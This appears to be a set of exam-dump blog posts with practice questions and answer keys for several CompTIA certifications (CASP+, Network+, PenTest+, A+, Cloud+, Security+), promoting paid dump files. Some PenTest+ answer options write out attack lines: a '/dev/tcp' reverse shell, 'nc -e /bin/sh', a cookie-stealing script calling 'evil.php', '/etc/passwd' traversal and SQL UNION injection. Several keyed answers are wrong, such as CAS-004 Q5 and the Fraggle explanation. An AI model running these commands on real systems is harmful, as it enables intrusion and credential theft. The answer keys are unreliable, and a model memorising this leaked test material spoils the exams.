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Latest updated CAS-004 dumps: Certified for Advanced Cyber ​​Security (CASP+)

Posted by admin on in CASP+ cas-004 dumps, CASP+ cas-004 exam dumps, CASP+ cas-004 exam questions, CompTIA, CompTIA Advanced Security Practitioner, CompTIA Advanced Security Practitioner (CASP+), CompTIA CAS-004 Exam Dumps, Uncategorized
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What is the difference between CAS-003 and CAS-004?

CAS-003 Published: April 2, 2018

Exam Description: CASP+ covers the technical knowledge and skills required to conceptualize, engineer, integrate and implement secure solutions across complex environments to support a resilient enterprise.

Retirement: April 5, 2022

CAS-004 Published: October 6, 2021

Exam Description: CASP+ covers the technical knowledge and skills required to architect, engineer, integrate, and implement secure solutions across complex environments to support a resilient enterprise while considering the impact of governance, risk, and compliance requirements.

Before you get a full CAS-004 dumps, you can also experience a small test in advance. I will share 12 CAS-004 test questions for free to help you test online, and the answers will be announced at the end of the test.

[Updated 2022.7] CAS-004 exam question and answers

QUESTION 1:

A security analyst is trying to identify the source of a recent data loss incident The analyst has reviewed all the logs for the time surrounding the incident and identified all the assets on the network at the time of the data loss. The analyst suspects the key to finding the source was obfuscated in an application.
Which of the following tools should the analyst use NEXT?

A. Software decompiler
B. Network enumerator
C. Log reduction and analysis tool
D. Static code analysis

Correct Answer: A

QUESTION 2:

A forensic investigator would use the foremost command for:

A. cloning disks.
B. analyzing network-captured packets.
C. recovering lost files.
D. extracting features such as email addresses.

Correct Answer: C

QUESTION 3:

A security analyst is performing a vulnerability assessment on behalf of a client. The analyst must define what constitutes a risk to the organization. Which of the following should be the analyst\’s FIRST action?

A. Create a full inventory of information and data assets.
B. Ascertain the impact of an attack on the availability of crucial resources.
C. Determine which security compliance standards should be followed.
D. Perform a full system penetration test to determine the vulnerabilities.

Correct Answer: C

QUESTION 4:

A developer wants to maintain the integrity of each module of a program and ensure the code cannot be altered by malicious users. Which of the following would be BEST for the developer to perform? (Choose two.)

A. Utilize code signing by a trusted third party.
B. Implement certificate-based authentication.
C. Verify MD5 hashes.
D. Compress the program with a password.
E. Encrypt with 3DES.
F. Make the DACL read-only.

Correct Answer: AB

QUESTION 5:

A technician is reviewing the logs and notices a large number of files were transferred to remote sites over the course of three months. This activity then stopped. The files were transferred via TLS-protected HTTP sessions from systems that do not send traffic to those sites.
The technician will define this threat as:

A. a decrypting RSA using obsolete and weakened encryption attack.
B. a zero-day attack.
C. an advanced persistent threat.
D. an on-path attack.

Correct Answer: A

[Updated 2022.7] Get more CompTIA CAS-004 exam questions and answers

CAS-004 Exam Questions Online Test

CAS-004 Q1:

A security analyst sees some suspicious entries in a log file from a web server website, which has a form that allows customers to leave feedback on the company\\’s products. The analyst believes a malicious actor is scanning the web form. To know which security controls to put in place, the analyst first needs to determine the type of activity occurring to design a control. Given the log below:

cas-004 q1

Which of the following is the MOST likely type of activity occurring?

A. SQL injection
B. XSS scanning
C. Fuzzing
D. Brute forcing

CAS-004 Q2:

The Information Security Officer (ISO) believes that the company has been targeted by cybercriminals and it is under a cyber attack. Internal services that are normally available to the public via the Internet are inaccessible, and employees in the office are unable to browse the Internet. The senior security engineer starts by reviewing the bandwidth at the border router, and notices that the incoming bandwidth on the router\\’s external interface is maxed out. The security engineer then inspects the following piece of log to try and determine the reason for the downtime, focusing on the company\\’s external router\\’s IP which is 128.20.176.19: 11:16:22.110343 IP 90.237.31.27.19 >

128.20.176.19.19: UDP, length 1400 11:16:22.110351 IP 23.27.112.200.19 >

128.20.176.19.19: UDP, length 1400 11:16:22.110358 IP 192.200.132.213.19 >

128.20.176.19.19: UDP, length 1400 11:16:22.110402 IP 70.192.2.55.19 >

128.20.176.19.19: UDP, length 1400 11:16:22.110406 IP 112.201.7.39.19 >

128.20.176.19.19: UDP, length 1400 Which of the following describes the findings the senior security engineer should report to the ISO and the BEST solution for service restoration?

A. After the senior engineer used a network analyzer to identify an active Fraggle attack, the company\\’s ISP should be contacted and instructed to block the malicious packets.

B. After the senior engineer used the above IPS logs to detect the ongoing DDOS attack, an IPS filter should be enabled to block the attack and restore communication.

C. After the senior engineer used a mirror port to capture the ongoing amplification attack, a BGP sinkhole should be configured to drop traffic at the source networks.

D. After the senior engineer used a packet capture to identify an active Smurf attack, an ACL should be placed on the company\\’s external router to block incoming UDP port 19 traffic.

The exhibit displays logs that are indicative of an active fraggle attack. A Fraggle attack is similar to a smurf attack in that it is a denial of service attack, but the difference is that a fraggle attack makes use of ICMP and UDP ports 7 and 19. Thus when the senior engineer uses a network analyzer to identify the attack he should contact the company\\’s ISP to block those malicious packets.

CAS-004 Q3:

Given the following output from a security tool in Kali:

cas-004 q3

A. Log reduction
B. Network enumerator
C. Fuzzer
D. SCAP scanner

CAS-004 Q4:

An organization relies heavily on third-party mobile applications for official use within a BYOD deployment scheme An excerpt from an approved text-based-chat client application AndroidManifest xml is as follows:

cas-004 q4

Which of the following would restrict application permissions while minimizing the impact to normal device operations?

A. Add the application to the enterprise mobile whitelist.
B. Use the MDM to disable the devices\\’ recording microphones and SMS.
C. Wrap the application before deployment.
D. Install the application outside of the corporate container.

CAS-004 Q5:

A small retail company recently deployed a new point of sale (POS) system to all 67 stores. The core of the POS is an extranet site, accessible only from retail stores and the corporate office over a split-tunnel VPN. An additional splittunnel VPN provides bi-directional connectivity back to the main office, which provides voice connectivity for store VoIP phones. Each store offers guest wireless functionality, as well as employee wireless. Only the staff wireless network has access to the POS VPN. Recently, stores are reporting poor response times when accessing the POS application from store computers as well as degraded voice quality when making phone calls. Upon investigation, it is determined that three store PCs are hosting malware, which is generating excessive network traffic. After malware removal, the information security department is asked to review the configuration and suggest changes to prevent this from happening again. Which of the following denotes the BEST way to mitigate future malware risk?

A. Deploy new perimeter firewalls at all stores with UTM functionality.
B. Change antivirus vendors at the store and the corporate office.
C. Move to a VDI solution that runs offsite from the same data center that hosts the new POS solution.
D. Deploy a proxy server with content filtering at the corporate office and route all traffic through it.

A perimeter firewall is located between the local network and the Internet where it can screen network traffic flowing in and out of the organization. A firewall with unified threat management (UTM) functionalities includes anti-malware capabilities.

CAS-004 Q6:

A technician is reviewing the following log:

cas-004 q6

Which of the following tools should the organization implement to reduce the highest risk identified in this log?

A. NIPS
B. DLP
C. NGFW
D. SIEM

CAS-004 Q7:

To prepare for an upcoming audit, the Chief Information Security Officer (CISO) asks for all 1200 vulnerabilities on production servers to be remediated. The security engineer must determine which vulnerabilities represent real threats that can be exploited so resources can be prioritized to migrate the most dangerous risks. The CISO wants the security engineer to act in the same manner as would an external threat, while using vulnerability scan results to prioritize any actions.
Which of the following approaches is described?

A. Blue team
B. Red team
C. Black box
D. White team

CAS-004 Q8:

Which of the following are the MOST likely vectors for the unauthorized or unintentional inclusion of vulnerable code in a software company\\’s final software releases? (Choose two.)

A. Unsecure protocols
B. Use of penetration-testing utilities
C. Weak passwords
D. Included third-party libraries
E. Vendors/supply chain
F. Outdated anti-malware software

CAS-004 Q9:

During a system penetration test, a security engineer successfully gained access to a shell on a Linux host as a standard user and wants to elevate the privilege levels. Which of the following is a valid Linux post-exploitation method to use to accomplish this goal?

A. Spawn a shell using sudo and an escape string such as sudo vim -c ‘!sh’.
B. Perform ASIC password cracking on the host.
C. Read the /etc/passwd file to extract the usernames.
D. Initiate unquoted service path exploits.
E. Use the UNION operator to extract the database schema.

Reference: https://docs.rapid7.com/insightvm/elevating-permissions/

CAS-004 Q10:

Which of the following provides the BEST risk calculation methodology?

A. Annual Loss Expectancy (ALE) x Value of Asset
B. Potential Loss x Event Probability x Control Failure Probability
C. Impact x Threat x Vulnerability
D. Risk Likelihood x Annual Loss Expectancy (ALE)

Of the options given, the BEST risk calculation methodology would be Potential Loss x Event Probability x Control Failure Probability. This exam is about computer and data security so `loss\\’ caused by risk is not necessarily a monetary value.
For example:
Potential Loss could refer to the data lost in the event of a data storage failure.
Event probability could be the risk a disk drive or drives failing.
Control Failure Probability could be the risk of the storage RAID not being able to handle the number of failed hard drives without losing data.

CAS-004 Q11:

An IT manager is concerned about the cost of implementing a web filtering solution in an effort to mitigate the risks associated with malware and resulting data leakage. Given that the ARO is twice per year, the ALE resulting from a data leak is $25,000 and the ALE after implementing the web filter is $15,000. The web filtering solution will cost the organization $10,000 per year. Which of the following values is the single loss expectancy of a data leakage event after implementing the web filtering solution?

A. $0
B. $7,500
C. $10,000
D. $12,500
E. $15,000

The annualized loss expectancy (ALE) is the product of the annual rate of occurrence (ARO) and the single loss expectancy (SLE). It is mathematically expressed as: ALE = ARO x SLE Single Loss Expectancy (SLE) is
mathematically expressed as: Asset value (AV) x Exposure Factor (EF) SLE = AV x EF – Thus the Single Loss
Expectancy (SLE) = ALE/ARO = $15,000 / 2 = $ 7,500 References:
http://www.financeformulas.net/Return_on_Investment.html
https://en.wikipedia.org/wiki/Risk_assessment

CAS-004 Q12:

A company has expenenced negative publicity associated with users giving out their credentials accidentally or sharing intellectual secrets were not properly defined. The company recently implemented some new policies and is now testing their effectiveness. Over the last three months, the number of phishing victims-dropped from 100 to only two in the last test The DLP solution that was implemented catches potential material leaks, and the user responsible is retrained Personal email accounts and USB drives are restricted from the corporate network.
Given the improvements, which of the following would a security engineer identify as being needed in a gap analysis?

A. Additional corporate-wide training on phishing.
B. A policy outlining what is and is not acceptable on social media.
C. Notifications when a user falls victim to a phishing attack.
D. Positive DLP preventions with stronger enforcement.

Verify the answer:

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CompTIA Network+ Exam [2022] New N10-008 Dumps

Posted by admin on in CompTIA, CompTIA Network+, n10-008 CompTIA Network+, n10-008 exam dumps, n10-008 exam questions, n10-008 practice test, Uncategorized

The N10-008 exam for CompTIA Network+ certification was released in September 2021. Currently, both N10-007 and N10-008 are available for CompTIA Network+ certification. Compared to the N10-007 exam, the N10-008 exam will validate the technical skills needed to securely establish, maintain and troubleshoot the essential networks that businesses rely on. Lead4Pass offers new N10-008 dumps questions that are real to ensure you can pass the CompTIA Network+ certification exam.

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Check CompTIA N10-008 Free Dumps Before Getting New N10-008 Dumps Questions

1. A network administrator is reviewing interface errors on a switch. Which of the following indicates that a switchport is receiving packets in excess of the configured MTU?

A. CRC errors
B. Giants
C. Runts
D. Flooding

 

2. Which of the following WAN technologies swaps the header on a packet when internally switching from one provider router to another?

A. ATM
B. Frame relay
C. MPLS
D. PPP

 

3. A technician has completed configuration on a new satellite location. The location has a new firewall and a small internal network. The technician has been asked to perform basic vulnerability testing.

Which of the following tools would BEST assist the technician in verifying the security of the site?

A. Packet sniffer
B. Bandwidth tester
C. Port scanner
D. Protocol analyzer

 

4. Which of the following is true about an IP address if the first bit is a one and the second bit is a zero?

A. The address is a Class A address.
B. The address is a Class B address.
C. The address is a Class C address.
D. The address is a Class D address.

 

5. Kim, a network administrator, should consult which documentation sources FIRST to determine the cause of recent network issues?

A. Network map
B. Cable management
C. Change management
D. Asset management

 

6. Which of the following connector types would Sandy, a network technician, use to connect a serial cable?

A. RJ-11
B. BNC
C. LC
D. DB-9

 

7. A company requires a disaster recovery site to have equipment ready to go in the event of a disaster at its main datacenter. The company does not have the budget to mirror all the live data to the disaster recovery site.

Which of the following concepts should the company select?

A. Cold site
B. Hot site
C. Warm site
D. Cloud site

 

8. A technician is installing a cable modem in a SOHO. Which of the following cable types will the technician MOST likely use to connect a modem to the ISP?

A. Coaxial
B. Single-mode fiber
C. Cat 6e
D. Multimode fiber

 

9. A company is being acquired by a large corporation. As part of the acquisition process, the company\\’s address should now redirect clients to the corporate organization page.

Which of the following DNS records needs to be created?

A. SOA
B. NS
C. CNAME
D. TXT

Reference: https://www.namecheap.com/support/knowledgebase/article.aspx/9604/2237/types-of-domain-redirects-301-302-url-redirects-url-frame-and-cname/#:~:text=CNAME%20record%20is%20actually%20not,often%20mistakenly%20used%20as%20such.andtext=In%20other%20words%2C%20CNAME%20record,address%20of%20the%20destination%20hostname

 

10. A national cable company providing TV, telephone, and Internet service to home users over its IP network, has been tracking a large increase of network bandwidth due to P2P file sharing.

Which of the following should the company deploy to ensure excellent TV and telephone service?

A. QoS
B. Load balancing
C. High availability
D. Fiber optics

 

11. Which of the following is the physical topology for an Ethernet LAN?

A. Bus
B. Ring
C. Mesh
D. Star

 

12. Which of the following ports are associated with IMAP? (Choose two.)

A. 25
B. 110
C. 143
D. 587
E. 993
F. 995

Reference: https://billing.precedence.com.au/billing/knowledgebase/70/Mail-Ports-for-POP3-IMAP-and-SMTP.html

verify answer

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BCDBCDCACADCE

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New CompTIA PenTest+ Exam pt0-002 updated and shared online

Posted by admin on in CompTIA, CompTIA PenTest+, pt0-002 CompTIA PenTest+ Certification, pt0-002 exam dumps, pt0-002 exam questions, pt0-002 free dumps, pt0-002 practice test, Uncategorized
pt0-002 dumps 2022

The new PenTest+ (PT0-002) exam will launch on October 28, 2021!

What is CompTIA PenTest+?

For Cybersecurity Professionals Responsible for Penetration Testing and Vulnerability Management

Do you know PT1-002? This is an over-examination item for PT0-002, a new word for 2021, and has now been phased out. From October 28th, 2021, PT0-002 is the PenTest+ mainstream exam item.

The first update of CompTIA PenTest+ pt0-002 in 2022 starts here. I will share some of the newly updated CompTIA PenTest+ pt0-002 free exam questions to help you study easily, and you can take online practice tests.
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CompTIA PenTest+ PT0-002 Free Dumps Online Exam Test

Please record your answers and verify them at the end of the article

QUESTION 1

A penetration tester ran the following command on a staging server:
python –m SimpleHTTPServer 9891
Which of the following commands could be used to download a file named exploit to a target machine for execution?

A. nc 10.10.51.50 9891
B. powershell –exec bypass –f \\10.10.51.50\9891
C. bash –i >and /dev/tcp/10.10.51.50/9891 0and1>/exploit
D. wget 10.10.51.50:9891/exploit

Reference: https://www.redhat.com/sysadmin/simple-http-server

 

QUESTION 2

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client\\’s cybersecurity tools? (Choose two.)

A. Scraping social media sites
B. Using the WHOIS lookup tool
C. Crawling the client\\’s website
D. Phishing company employees
E. Utilizing DNS lookup tools
F. Conducting wardriving near the client facility

 

QUESTION 3

A penetration tester has obtained root access to a Linux-based file server and would like to maintain persistence after reboot.

Which of the following techniques would BEST support this objective?

A. Create a one-shot systemd service to establish a reverse shell.
B. Obtain /etc/shadow and brute force the root password.
C. Run the nc -e /bin/sh command.
D. Move laterally to create a user account on LDAP

 

QUESTION 4

A tester who is performing a penetration test on a website receives the following output:
Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /var/www/search.php on line 62
Which of the following commands can be used to further attack the website?

A. var adr= `../evil.php?test=\\’ + escape(document.cookie);
B. ../../../../../../../../../../etc/passwd
C. /var/www/html/index.php;whoami
D. 1 UNION SELECT 1, DATABASE(),3-

 

QUESTION 5

A security engineer identified a new server on the network and wants to scan the host to determine if it is running an
approved version of Linux and a patched version of Apache.

Which of the following commands will accomplish this task?

A. nmap –f –sV –p80 192.168.1.20
B. nmap –sS –sL –p80 192.168.1.20
C. nmap –A –T4 –p80 192.168.1.20
D. nmap –O –v –p80 192.168.1.20

Reference: https://nmap.org/book/man-version-detection.html

 

QUESTION 6

Which of the following expressions in Python increase a variable val by one (Choose two.)

A. val++
B. +val
C. val=(val+1)
D. ++val
E. val=val++
F. val+=1

Reference: https://stackoverflow.com/questions/1485841/behaviour-of-increment-and-decrement-operators-in-python

 

QUESTION 7

Penetration-testing activities have concluded, and the initial findings have been reviewed with the client.

Which of the following best describes the NEXT step in the engagement?

A. Acceptance by the client and sign-off on the final report
B. Scheduling of follow-up actions and retesting
C. Attestation of findings and delivery of the report
D. Review of the lessons learned during the engagement

 

QUESTION 8

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals.

Which of the following should the tester do NEXT?

A. Reach out to the primary point of contact
B. Try to take down the attackers
C. Call law enforcement officials immediately
D. Collect the proper evidence and add to the final report

 

QUESTION 9

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

A. HTTPS communication
B. Public and private keys
C. Password encryption
D. Sessions and cookies

 

QUESTION 10

A penetration tester is reviewing the following SOW prior to engaging with a client:
“Network diagrams, logical and physical asset inventory, and employees\\’ names are to be treated as client
confidential. Upon completion of the engagement, the penetration tester will submit findings to the client\\’s Chief
Information Security Officer (CISO) via encrypted protocols and subsequently dispose of all findings by erasing them in a secure manner.” Based on the information in the SOW, which of the following behaviors would be considered unethical? (Choose two.)

A. Utilizing proprietary penetration-testing tools that are not available to the public or to the client for auditing and
inspection

B. Utilizing public-key cryptography to ensure findings are delivered to the CISO upon completion of the engagement

C. Failing to share with the client critical vulnerabilities that exist within the client architecture to appease the client\\’s
senior leadership team

D. Seeking help with the engagement in underground hacker forums by sharing the client\\’s public IP address

E. Using a software-based erase tool to wipe the client\\’s findings from the penetration tester\\’s laptop

F. Retaining the SOW within the penetration tester\\’s company for future use so the sales team can plan future
engagements

 

QUESTION 11

A penetration tester who is doing a company-requested assessment would like to send traffic to another system using double tagging.

Which of the following techniques would BEST accomplish this goal?

A. RFID cloning
B. RFID tagging
C. Meta tagging
D. Tag nesting

 

QUESTION 12

A penetration tester runs the following command on a system:
find / -user root –perm -4000 –print 2>/dev/null

Which of the following is the tester trying to accomplish?

A. Set the SGID on all files in the / directory
B. Find the /root directory on the system
C. Find files with the SUID bit set
D. Find files that were created during exploitation and move them to /dev/null

Reference: https://sagar5258.blogspot.com/2015/03/find-command-in-linux-examples.html

Verify answer

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DBCCCCDFAADCECD

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CompTIA 220-1002 dumps exam questions and answers latest update | 2022

Posted by admin on in 220-1002 CompTIA A+ Certification Exam: Core 2, 220-1002 dumps, 220-1002 exam key, 220-1002 exam questions, 220-1002 practice test, CompTIA, CompTIA A+, Uncategorized
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CompTIA 220-1002 exam questions online test

The answer is announced at the end of the article

QUESTION 1

A SOHO technician needs to upgrade two computers quickly and is not concerned about retaining user settings. The
users currently have Windows 8 and want to upgrade to Windows 10.
Which of the following installation methods would the technician MOST likely use to accomplish this quickly?

A. Unattended installation
B. Remote network installation
C. In-place upgrade
D. Clean installation

 

QUESTION 2

A technician is adding a folder lo a structure that Is several levels down from the top level. The technician wants to make sure the new folder will have the same permissions as the top level Which of the following should the technician
configure?

A. Attributes
B. Shares
C. Inheritance
D. Replication

 

QUESTION 3

The Chief Executive Officer (CEO) of an organization frequently travels with sensitive data on a laptop and is concerned
the data could be compromised if the laptop is lost or stolen. Which of the following should the technician recommend to BEST ensure the data is not compromised if the laptop is lost or stolen?

A. Implement strong password policies.
B. Encrypt the hard drive on the laptop.
C. Set up a BIOS password on the laptop.
D. Enable multifactor authentication on the laptop.

 

QUESTION 4

A user opens a phishing email and types logon credentials into a fake banking website. The computer\\’s antivirus
software then reports it has several from the network. Which of the following should the technician perform NEXT?

A. Have the user change the password.
B. Update the antivirus software and run scans.
C. Disable the user\\’s local computer account.
D. Quarantine the phishing email.

 

QUESTION 5

A technician Is completing the documentation for a major OS upgrade of a Linux distribution that will impact a
company\\’s web services. The technician finishes the risk assessment and documents the change process. Which of
the following should the technician complete NEXT?

A. Scope of the change
B. Back-out plan
C. Purpose of the change
D. Change request

 

QUESTION 6

A technician accessed a network share from a computer joined to workgroup. The technician logged in as “user1” and
directed the computer to save the username and password. Several weeks later, the technician wants to log in to this
network share using the administrator account. The computer does not prompt for a username and password, but it
automatically logs in to the network share under the “user1” account. Which of the following would allow the technician to log in using the “administrator” username?

A. Use the command: net use Z: \\fileserver\share
B. Go to the Sync Center and disable the offline files feature.
C. Delete the “user” account for the network share in Credential Manager.
D. Join the computer and file server to a domain and delegate administrator rights to “user1”.
E. Use the Advanced Sharing options in the Network and Sharing Center and enable “turn on network discovery”.

 

QUESTION 7

A technician is troubleshooting a print issue on a Windows computer and want to disable the printer to test a theory,
Which of the following should the technician use to accomplish this?

A. Devices and Printer
B. Sync Center
C. Device Manager
D. Power Option

 

QUESTION 8

Which of the following should be replaced after a voltage spike?

A. Surge suppressor
B. Battery backup
C. Power supply
D. Electrical cable

 

QUESTION 9

An application is installed and configured locally on a workstation, but it writes all the save files to a different workstation on the network. Which of the following accurately describes the configuration of the application?

A. Network-based
B. Client/server
C. Application streaming
D. Peer-to-peer

 

QUESTION 10

A small office\\’s wireless network was compromised recently by an attacker who brute forced a PIN to gain access. The
attacker then modified the DNS settings on the router and spread malware to the entire network.
Which of the following configurations MOST likely allowed the attack to take place? (Select two.)

A. Guest network
B. TKIP
C. Default login
D. Outdated firmware
E. WPS
F. WEP

 

QUESTION 11

When a computer accesses an HTTPS website, which of the following describes how the browser determines the
authenticity of the remote site?

A. Certificates
B. Software tokens
C. Firewall
D. Port security

 

QUESTION 12

A technician is installing a new operating system. The company policy requires that the file system used must support
file permissions and security. Which of the following should the technician use to BEST meet the company needs?

A. NTFS
B. CDFS
C. FAT32
D. UDF

Verify answer

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The latest update CompTIA CV0-003 dumps for free sharing

Posted by admin on in CompTIA, CompTIA Cloud+, CV0-003 CompTIA Cloud+ Certification Exam, CV0-003 dumps, CV0-003 exam questions, CV0-003 pdf, CV0-003 practice test, Uncategorized
comptia cv0-003 dumps

CompTIA Cloud+ Certification Exam “CV0-003”. CompTIA Cloud+ has been developed for a long time, from the earliest CV0-001 to CV0-002 to the present CV0-003. CV0-003 is the latest updated exam code in 2021.
CV0-001 has retired very early, and you can now take the CV0-002 and CV0-003 certification exams.

The names of the CompTIA Cloud+ exam codes are similar, but there are some differences. I will list their differences, and share the latest CV0-003 exam questions. All free exam questions come from Lead4Pass.

You can directly access get complete CV0-003 dumps of: https://www.leads4pass.com/cv0-003.html (Total Questions: 187 Q&A).

CV0-002:

“CompTIA Cloud+ (CV0-002) reflects an emphasis on incorporating and managing cloud technologies as part of broader systems operations. It assumes a candidate will weave together solutions that meet specific business needs and work in a variety of different industries. It includes new technologies to support the changing cloud market as more organizations depend on cloud-based technologies to run mission-critical systems, now that hybrid and multi-cloud have become the norm.”

CV0-003:

“CompTIA Cloud+ is validates the skills needed to deploy and automate secure cloud environments that support the high availability of business systems and data.”

From the description, you can see some differences and the history of CompTIA Cloud+. Next, please take the CompTIA CV0-003 exam test.

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CompTIA CV0-003 exam questions online test

Exam answers are announced at the end of the article

QUESTION 1

A systems administrator in a large enterprise needs to alter the configuration of one of the finance department\\’s
database servers. Which of the following should the administrator perform FIRST?

A. Capacity planning
B. Change management
C. Backups
D. Patching

 

QUESTION 2

A system administrator is migrating a bare-metal server to the cloud. Which of the following types of migration should
the systems administrator perform to accomplish this task?

A. V2V
B. V2P
C. P2P
D. P2V

 

QUESTION 3

A systems administrator for an e-commerce company will be migrating the company\\’s main website to a cloud
provider. The principal requirement is that the website must be highly available.
Which of the following will BEST address this requirement?

A. Vertical scaling
B. A server cluster
C. Redundant switches
D. A next-generation firewall

 

QUESTION 4

The CASB report indicates several unsanctioned SaaS applications are being used in an organization. Which of the
following is the MOST likely cause?

A. VPN bypass
B. Shadow IT
C. Web proxy bypass
D. CAB approval

 

QUESTION 5

A global web-hosting company is concerned about the availability of its platform during an upcoming event. Web traffic is forecasted to increase substantially during the next week.
The site contains mainly static content.
Which of the following solutions will assist with the increased workload?

A. DoH
B. WAF
C. IPS
D. CDN

Reference: https://www.globaldots.com/content-delivery-network-explained

 

QUESTION 6

A resource pool in a cloud tenant has 90 GB of memory and 120 cores. The cloud administrator needs to maintain a
30% buffer for resources for optimal performance of the hypervisor. Which of the following would allow for the maximum number of two-core machines with equal memory?

A. 30 VMs, 3GB of memory
B. 40 VMs, 1,5GB of memory
C. 45 VMs, 2 GB of memory
D. 60 VMs, 1 GB of memory

 

QUESTION 7

A systems administrator notices that a piece of networking equipment is about to reach its end of support. Which of the following actions should the administrator recommend?

A. Update the firmware
B. Migrate the equipment to the cloud
C. Update the OS
D. Replace the equipment

 

QUESTION 8

A cloud administrator has finished setting up an application that will use RDP to connect. During testing, users
experience a connection timeout error. Which of the following will MOST likely solve the issue?

A. Checking user passwords
B. Configuring QoS rules
C. Enforcing TLS authentication
D. Opening TCP port 3389

Reference: https://docs.microsoft.com/en-us/windows-server/remote/remote-desktop-services/troubleshoot/rdp-errorgeneral-troubleshooting

 

QUESTION 9

A cloud administrator checked out the deployment scripts used to deploy the sandbox environment to a public cloud
provider. The administrator modified the script to add an application load balancer in front of the web-based front-end
application. The administrator next used the script to recreate a new sandbox environment successfully, and the
application was then using the new load balancer.
The following week, a new update was required to add more front-end servers to the sandbox environment. A second
administrator made the necessary changes and checked out the deployment scripts. The second administrator then ran
the script, but the application load balancer was missing from the new deployment.
Which of the following is the MOST likely reason for this issue?

A. The license limit on the number of server deployments allowed per month was exceeded
B. The deployment script changes made by the first administrator were not checked in and committed
C. The new server images were incompatible with the application load-balancer configuration
D. The application load balancer exceeded the maximum number of servers it could use

 

QUESTION 10

Which of the following would be the BEST option for discussion of what individuals should do in an incident response or disaster recovery scenario?

A. A business continuity plan
B. Incident response/disaster recovery documentation
C. A tabletop exercise
D. A root cause analysis

 

QUESTION 11

A cloud administrator updates the syslog forwarder configuration on a local server in production to use a different port. The development team is no longer receiving the audit logs from that server. However, the security team can retrieve and search the logs for the same server. Which of the following is MOST likely the issue?

A. The development team is not looking at the correct server when querying for the logs.
B. The security team has greater permissions than the development team.
C. The audit logging service has been disabled on the server.
D. The development team\\’s syslog server is configured to listen on the wrong port.

 

QUESTION 12

A VDI administrator has received reports from the drafting department that rendering is slower than normal. Which of
the following should the administrator check FIRST to optimize the performance of the VDI infrastructure?

A. GPU
B. CPU
C. Storage
D. Memory

Reference: https://www.computer.org/publications/tech-news/trends/7-tips-for-faster-3d-rendering

 

QUESTION 13

Which of the following is a hardening technique that an administrator would perform when creating a standard VM
template that would be used for deploying servers in a production environment?

A. Create a standard user account
B. Disable unneeded services
C. Establish a performance baseline
D. Follow change management process

Publish the answer:

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The latest update of CompTIA Security+ sy0-601 exam tips

Posted by admin on in CompTIA, CompTIA Security+, sy0-601 CompTIA Security+ 2021, sy0-601 dumps, sy0-601 dumps pdf, sy0-601 exam key, sy0-601 exam questions, sy0-601 practice test, Uncategorized
CompTIA Security+ 2021 sy0-601

CompTIA sy0-601 exam is a newly launched CompTIA Security+ exam in 2020-2021.
The exam verifies whether successful candidates have the knowledge and skills required to assess the security status of the enterprise environment and recommend and implement appropriate security solutions;
monitor and protect hybrid environments, including cloud, mobile, and the Internet of Things; and understand applicable laws and policies. Operating under circumstances, including governance, risk, and compliance principles; identifying, analyzing, and responding to security incidents and accidents.

On this site, we will help you first try the exam test to verify your current strength! And we will also share the PDF mode for you to download and study, not only that, but we also provide complete CompTIA SY0-601 exam questions and answers https://www.leads4pass.com/sy0-601.html. The complete exam questions are verified by CompTIA Security+ experts to ensure that all exam questions and answers are valid. Next, I will share some exam details tips and exam practice questions.

Tips: First of all, you need to know the time to participate in the exam, the number of questions, the type of questions, the time of the exam, the passing score, the price, etc. These can all be viewed through the official website.
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CompTIA sy0-601 exam practice test

All answers are announced at the end of the article

QUESTION 1

A cybersecurity department purchased o new PAM solution. The team is planning to randomize the service account
credentials of the Windows server first. Which of the following would be the BEST method to increase the security on
the Linux server?

A. Randomize the shared credentials
B. Use only guest accounts to connect.
C. Use SSH keys and remove generic passwords
D. Remove all user accounts.

 

QUESTION 2

A security analyst has been asked to investigate a situation after the SOC started to receive alerts from the SIEM. The
analyst first looks at the domain controller and finds the following events:

comptia sy0-601 exam questions q2

To better understand what is going on, the analyst runs a command and receives the following output:

comptia sy0-601 exam questions q2-1

Based on the analyst\\’s findings, which of the following attacks is being executed?

A. Credential harvesting
B. Keylogger
C. Brute-force
D. Spraying

 

QUESTION 3

In the middle of a cybersecurity, a security engineer removes the infected devices from the network and lock down all
compromised accounts. In which of the following incident response phases is the security engineer currently operating?

A. Identification
B. Preparation
C. Eradiction
D. Recovery
E. Containment

 

QUESTION 4

A security administrator suspects there may be unnecessary services running on a server. Which of the following tools
will the administrator MOST likely use to confirm the suspicions?

A. Nmap
B. Wireshark
C. Autopsy
D. DNSEnum

 

QUESTION 5

A network engineer has been asked to investigate why several wireless barcode scanners and wireless computers in a
warehouse have intermittent connectivity to the shipping server. The barcode scanners and computers are all on forklift trucks and move around the warehouse during their regular use. Which of the following should the engineer do to determine the issue? (Choose two.)

A. Perform a site survey
B. Deploy an FTK Imager
C. Create a heat map
D. Scan for rogue access points
E. Upgrade the security protocols
F. Install a captive portal

 

QUESTION 6

A security analyst notices several attacks are being blocked by the NIPS but does not see anything on the boundary
firewall logs. The attack seems to have been thwarted Which of the following resiliency techniques was applied to the
network to prevent this attack?

A. NIC Teaming
B. Port mirroring
C. Defense in depth
D. High availability
E. Geographic dispersal

 

QUESTION 7

Which of the following incident response steps involves actions to protect critical systems while maintaining business
operations?

A. Investigation
B. Containment
C. Recovery
D. Lessons learned

 

QUESTION 8

To secure an application after a large data breach, an e-commerce site will be resetting all users\\’ credentials. Which of
the following will BEST ensure the site\\’s users are not compromised after the reset?

A. A password reuse policy
B. Account lockout after three failed attempts
C. Encrypted credentials in transit
D. A geofencing policy based on login history

 

QUESTION 9

Which of the following organizational policies are MOST likely to detect fraud that is being conducted by existing
employees? (Select TWO).

A. Offboarding
B. Mandatory vacation
C. Job rotation
D. Background checks
E. Separation of duties
F. Acceptable use

 

QUESTION 10

An analyst is trying to identify insecure services that are running on the internal network After performing a port scan the analyst identifies that a server has some insecure services enabled on default ports Which of the following BEST
describes the services that are currently running and the secure alternatives for replacing them\\’ (Select THREE)

A. SFTP FTPS
B. SNMPv2 SNMPv3
C. HTTP, HTTPS
D. TFTP FTP
E. SNMPv1, SNMPv2
F. Telnet SSH
G. TLS, SSL
H. POP, IMAP
I. Login, rlogin

 

QUESTION 11

A public relations team will be taking a group of guest on a tour through the facility of a large e-commerce company. The day before the tour, the company sends out an email to employees to ensure all whiteboars are cleaned and all desks are cleared. The company is MOST likely trying to protect against.

A. Loss of proprietary information
B. Damage to the company\\’s reputation
